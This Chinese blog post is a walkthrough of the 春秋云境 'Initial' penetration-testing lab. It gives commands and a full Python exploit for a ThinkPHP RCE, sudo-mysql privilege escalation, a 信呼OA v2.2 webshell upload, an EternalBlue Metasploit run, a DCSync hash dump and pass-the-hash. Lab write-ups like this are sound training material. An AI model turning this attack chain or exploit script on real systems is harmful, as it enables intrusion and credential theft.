春秋云境-Initial

打卡了16天,白嫖了3.5个沙砾,准备体验第一次打内网渗透,先从最简单也就是攻克人数最多的徽章Initial做起,希望3.5个小时够用,实在不想花钱买了

春秋云境-Initial

信息收集

扫一下给的ip的端口

1
sudo nmap --min-rate 10000 -p- 39.99.149.224

看样子突破口就是80端口了

直接访问看一下是什么服务

i

看图标可以知道是thinkphp,这是一个管理系统登录界面,Web服务器是apache,操作系统是ubuntu

扫描一下目录

1
dirsearch -u "http://39.99.149.224/"
1
2
3
4
[19:10:31] 200 -    1KB - /favicon.ico                                      
[19:10:35] 200 - 5KB - /index.php
[19:10:51] 200 - 24B - /robots.txt
[19:10:56] 301 - 315B - /static -> http://39.99.149.224/static/

少得可怜的目录,先试试,后面不行再深度挖掘

外网打点-Thinkphp漏洞

就目前收集到的信息而已,可以利用的基本上就是Thinkphp漏洞,或者弱口令进后台再尝试GetShell

拿工具直接跑一下有没有Thinkphp漏洞

能看到还是有漏洞的,看来这个思路是正确的

下面就是选择好poc来实现命令执行,去getshell

有工具就是爽啊,事半工倍

蚁剑直接连上,虚拟终端反弹shell

呃呃,忘记kali是在本地了,反弹个屁

就用虚拟终端了,交互式也不错

提权

先看一下这台机子的权限

1
2
whoami
www-date

看一下内核

1
2
uname -a
Linux ubuntu-web01 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

searchsploit看看有没有漏洞

1
2
searchsploit ubuntu-web01 5.4 
searchsploit 5.4

没找到内核提权的漏洞

sudo -l看看

1
2
3
4
Matching Defaults entries for www-data on ubuntu-web01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
(root) NOPASSWD: /usr/bin/mysql

mysql | GTFOBins

有个mysql可以免密使用,用mysql命令提权(又学到了)

1
sudo mysql -e '\! ls /root'

1
flag{60b53231-

已经成功拿下了,接下来就是搭代理

搭建代理+信息收集

采用neo-reGeorg+proxifier

1
python neoreg.py generate -k 114514

再将neoreg_servers/tunnel.php传上去

连接代理

1
python neoreg.py -k 114514 -u http://39.99.149.224/tunnel.php

可以看到已经成功使用本地端口1080创建了隧道并建立连接

配好proxifier,fscan开扫!!!

哎又遇上报错了,好烦,干脆把fascan传上去执行吧,这个代理只是方便我们在本地访问它的服务(后面代理也出问题了,真的是干了)

1
./fscan_amd64 -h 172.22.1.0/24 >> 1.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
cat 1.txt
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.21 is alive
(icmp) Target 172.22.1.18 is alive
[*] Icmp alive hosts len is: 4
172.22.1.2:88 open
172.22.1.18:445 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:139 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.18:135 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:3306 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo:
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios: 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios: 172.22.1.2 [+]DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo:
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] WebTitle: http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 13.405736629s

从中可以知道我们的目标(这里还有个信呼OA没显示出来):
172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统

代理老是有问题,哎,太容易断了proxifier有点迷

网上找了个插件用,proxifier以后再研究明白

信呼OA渗透

先打信呼OA办公系统

1
172.22.1.18/?m=login

终于代理出来了

弱口令登录

1
admin/admin123

有个RCE的漏洞
需要要准备一个shell.php放在脚本相同的目录下,内容为一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)
```python
import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)

由于没用proxifier搞全局代理,还需要kali上也建立一下socks5访问,方便脚本直接攻击内网服务器

1
vim /etc/proxychains4.conf
1
proxychains4 python3 3.py 

哎,止步于此。下次再战,流量转发配了半天,先遗憾离场一段时间

时隔一周,回归了

成功写马

蚁剑设置代理

成功连接,翻到flag2

永恒之蓝渗透

直接拿msf打

1
172.22.1.21
1
2
3
4
5
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
1
set proxies socks5:127.0.0.1:1080

这里需要等待一些时间

可以看到拿到了个正向shell

getuid查看当前用户

发现为NT AUTHORITY\SYSTEM

DCSync

DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。

利用条件

获得以下任一用户的权限:

  • Domain Admins组内的用户
  • Administrators组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

默认只有域控主机账号和域管理员能进行Dcsync,其机器账号拥有WriteACL的权限,可以给指定用户添加Dcsync来dump域哈希。

然后使用kiwi(原mimikatz)进行导出hash

1
2
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

image-20231112115613421

1
500     Administrator   10cf89a850fb1cdbe6bb432b859164c8        512

哈希传递

利用impacket进行pth

1
cd /impacket/examples
1
2
3
proxychains4 python smbexec.py -hashes :10cf89a850fb1cdbe6bb432b859164c8 xiaorang.lab/Administrator@172.22.1.2
# python smbexec.py -hashes LM Hash:NLTM Hash domain/username@ip
#-hashs,知道用户完整的哈希值,如果LM hash被废弃,就指定为0或空

或者用crackmapexec

1
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

拿到会话

1
type C:\Users\Administrator\flag\flag03.txt

读取到flag

最终flag

1
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

知识点总结

信呼协同办公系统v2.2

要求版本为v2.2

且已知登录后台的账号密码

现成的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/' #目标
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::', #这里为账号的base64编码
'adminpass': 'YWRtaW4xMjM=', #这里为密码的base64编码
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)
```python
import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)

shell.php放在脚本相同的目录下,内容为一句话木马

漏洞详细分析:信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客

永恒之蓝

看到MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

就应该想到永恒之蓝的

一般通过msf打永恒之蓝

1
search ms17-010

查看对应的模块

如果受害机不出网,就只能用正向shell

1
set payload windows/x64/meterpreter/bind_tcp

哈希传递

就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的

适用场景:获取到了域管理员组内用户的密码哈希值 ,并且该主机的445端口开放

原理
hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH(哈希传递)是基于smb服务(139端口和445 端口)。


春秋云境-Initial
https://www.supersmallblack.cn/春秋云境-Initial.html
作者
Small Black
发布于
2023年11月12日
许可协议